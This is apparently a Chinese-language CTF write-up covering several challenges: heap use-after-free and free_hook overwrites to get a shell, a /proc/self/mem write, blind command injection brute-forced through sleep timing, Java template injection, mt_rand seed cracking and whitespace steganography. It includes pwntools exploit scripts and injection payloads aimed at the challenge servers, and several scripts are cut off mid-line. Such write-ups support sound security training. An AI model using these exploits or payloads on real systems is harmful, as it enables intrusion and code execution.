题目提供了一个librpc.a静态库文件,可以用来制作ida的flirt签名库,然后导入目标文件idb方便逆向。
main函数里面看到一个注册handler的地方,注册调用的函数名为"Omae wa mou shindeiru"
逆向往下走可以分析出程序比较关键的几个函数,0x6900是检查调用参数的;0x6550是调用函数的handler,主要逻辑都在这个函数里面;0x6bc0是返回消息的函数。
*(_QWORD *)&v44[4] = __readfsqword(0x28u);
if ( *((_QWORD *)a1 + 1) <= 0x4783uLL )
{
v33 = (__m128i *)rpc::this_handler(a1);
sub_6BC0(v33, "nani");
return 666LL;
}
v1 = *(const void **)a1;
v2 = dest;
v3 = (__m128i *)dest;
memcpy(dest, v1, 0x4784uLL);
v4 = dest[0];
if ( dest[0] > 0xA0u )
{
v3 = (__m128i *)rpc::this_handler((rpc *)dest);
sub_6BC0(v3, "nani");
goto LABEL_4;
}
if ( dest[0] )
{
LABEL_4:
option = &dest[1];
end = &dest[3 * (v4 - 1) + 4];
while ( 1 )
{
src1 = (unsigned int)option[1];
dst1 = (unsigned int)option[2];
if ( *option == 1 )
break;
if ( *option == 2 )
{
v43[dst1] = v43[src1]; // oob read
LABEL_6:
option
nc连接服务器,flag以乱序的形式输出。多试几次即可返回正确flag。
from pwn import *
for i in range(1000):
print("process "+str(i))
r = remote("119.3.45.222",9999)
demo = r.recv()
if demo[:5]=='flag{'and demo[-7]=='}'and ';' not in demo[:-7]:
print("flag is"+demo)
break
else:
print(demo)
64位程序,传统菜单题,保护全开,libc2.27的环境。
在第3个函数那里存在UAF漏洞
在程序进行free操作时有这个判断,可以通过负数溢出来绕过。
因此,思路是这样:
1、在堆上布置一个0x70大小的chunk,和几个0x40的chunk,然后将这些chunk全部free掉,利用UAF改写0x40chunk的fd指针的最低位,使其指向0x70的chunk。
2、得到指向0x70chunk头的chunk,然后将0x70的chunk的size字段改为0xb1,再将这个被改的chunk释放掉,它就会被放到unsortedbin中,得到main_arena的地址。
3、再将该chunk的头的size字段改回0x71,然后部分写fd字段,使其指向stdout(这里需要爆破一下地址)。改变stdout结构体,泄露libc基址。
4、利用tcache的和UAF将freehook的内容改成system的地址,然后free掉一个内容是"/bin/sh"的chunk就能getshell。
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] # context.log_level = "debug" def fire(): #p = process("./pwn") p = remote("122.112.225.164", 10001) libc = ELF("./libc-2.27.so") def add(idx, size, content): p.sendlineafter("choice :", str(1)) p.sendlineafter("id:", str(idx)) p.sendlineafter("size:", str(size)) p.sendafter("content:\n", content) def add1(idx, size, content): p.sendlineafter("choice :", str(1)) p.sendlineafter("id:", str(idx)) p.sendlineafter("size:", str(size)) p.sendafter("content:", content) def edit(idx, content):
notepad++打开,看到空格和tab,直接空格转0,tab转1,然后全部转ascii编码获取flag
a ='''0001100110,
000001101100,
000001100001,
000001100111,
000001111011,
000001101110,
000001111001,
000001110010,
000001100100,
000001011000,
000001011010,
000001000101,
000001010011,
000001000100,
000001001101,
000001111010,
000000110001,
000001101100,
000000110101,
000001001110,
000000111000,
000000111000,
000000110011,
000000110111,
000001000001,
000001011001,
000001011010,
000001100010,
000000110111,
000001010011,
000001010100,
000001010000,
000001001000,
000001000011,
000001110110,
000001100101,
000001100111,
000001111101,'''
b = a.split(",")
st = ''
for i in b:
st+=chr(int(i,2))
print st
print st
flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg}
无回显命令执行,sleep函数验证。尝试发起http请求,dns请求无果。可能服务器不给回连,那就找到flag位置直接爆破。
https://250.ac.cn/2018/12/18/%E6%97%A0%E5%9B%9E%E6%98%BE%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E4%B9%8B%E5%88%A9%E7%94%A8/#%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9C%AA%E8%81%94%E7%BD%91
# -*-coding:utf-8 -*-
import requests
import re
flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}')
all_letter = '-\{\}0123456789abcdefghijklmnopqrstuvwxyz;'
alla = '/-_0123456789abcdefghijklmnopqrstuvwxyz;'
lujing = '/'
def get_flag(command):
try:
r = requests.post('http://119.3.37.185/', data={'cmd': command}, timeout=2.5)
except:
return True
return False
if __name__ == '__main__':
flag = 'flag{'
while flag_format.match(flag) == None:
staus = 0
for i in all_letter:
payload = 'cat /flag.txt | grep %s && sleep 3' % (flag + i)
#payload = 'find / -name flag 2>/dev/null | grep %s
title文件包含,首先包含pom.xml看一眼。
看到home,ctf和mainclass是Blog那么包含这个路径:../../../../../../../home/ctf/web/src/main/java/Blog.java,发现了源码,进行审计发现存在ssti(现成的漏洞)
参考两篇文章:
https://xz.aliyun.com/t/8135#toc-2
https://cloud.tencent.com/developer/article/1532753
就是将title记录日志,但是下次访问会解析执行,存在ssti。直接使用文章内的payload打。
先ls下/tmp目录
payload:%23set(rt=chr=str=ex=
可以open、close、seek、read 和 write flag 以外的任意文件,read 和 write 功能调用了malloc和free。首先打开/proc/self/maps
泄漏 libc 基地址。然后打开/proc/self/mem
,利用 seek 和 write 向 free hook 写入 system 地址,最后 write + "/bin/sh\x00" 字符串 getshell。
#!/usr/bin/env python3
from pwn import *
context(arch="amd64", log_level="debug")
p = remote("119.3.111.133", 6666)
libc = ELF("./libc-2.27.so")
p_sl = lambda x, y : p.sendlineafter(y, x)
def Open(fn, opt):
p_sl('1', "Your choice: ")
p_sl(fn+'\x00', "Filename: ")
p_sl(str(opt), "Option: ")
def Seek(s):
p_sl('3', "Your choice: ")
p_sl(str(s), "Offset: ")
def Close():
p_sl('2', "Your choice: ")
def Read(sz):
p_sl('4', "Your choice: ")
p_sl(str(sz), "Size: ")
def Write(sz, ctx):
p_sl('5', "Your choice: ")
p_sl(str(sz), "Size: ")
p_sl(ctx, "Content: ")
Open("/proc/self/maps", 0)
Read(0x500)
p.recvuntil("[heap]\n")
libc.address = int(p.recvuntil("-", True), 16)
Close()
Open("/proc/self/mem", 1)
Seek(libc.symbols["_
扫描目录发现备份备件index.bak
使用mt_rand获取随机数,比较老套的思路了,爆破种子,获取所以随机数就能得到对应lock的key
这里使用php_mt_seed来爆破,先用脚本生成需要输入的信息
$pass_now = "vEUHaY";
$allowable_characters = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
for($j = 0; $j < strlen($pass_now); $j++)
{
for ($i = 0; $i < $len; $i++) {
if($pass_now[$j] == $allowable_characters[$i])
{
echo "$i $i 0 51 ";
break;
}
}
}
用php_mt_seed爆破
获取key
mt_srand(718225); echo mt_rand(0,61).",";
a1 = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
b1 = "1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"
print(len(a1))
print(len(b1))
key1 = "vEUHaY"
aaa = '23,53,29,26,42,53,7,22,29,13,2,61,50,51,34,44'.split(",")
st = ''
for i in aaa:
st += b1[int(i)]
print st
flag: flag{6e5b51029a9a9ccd6d6b0f9ala58c494}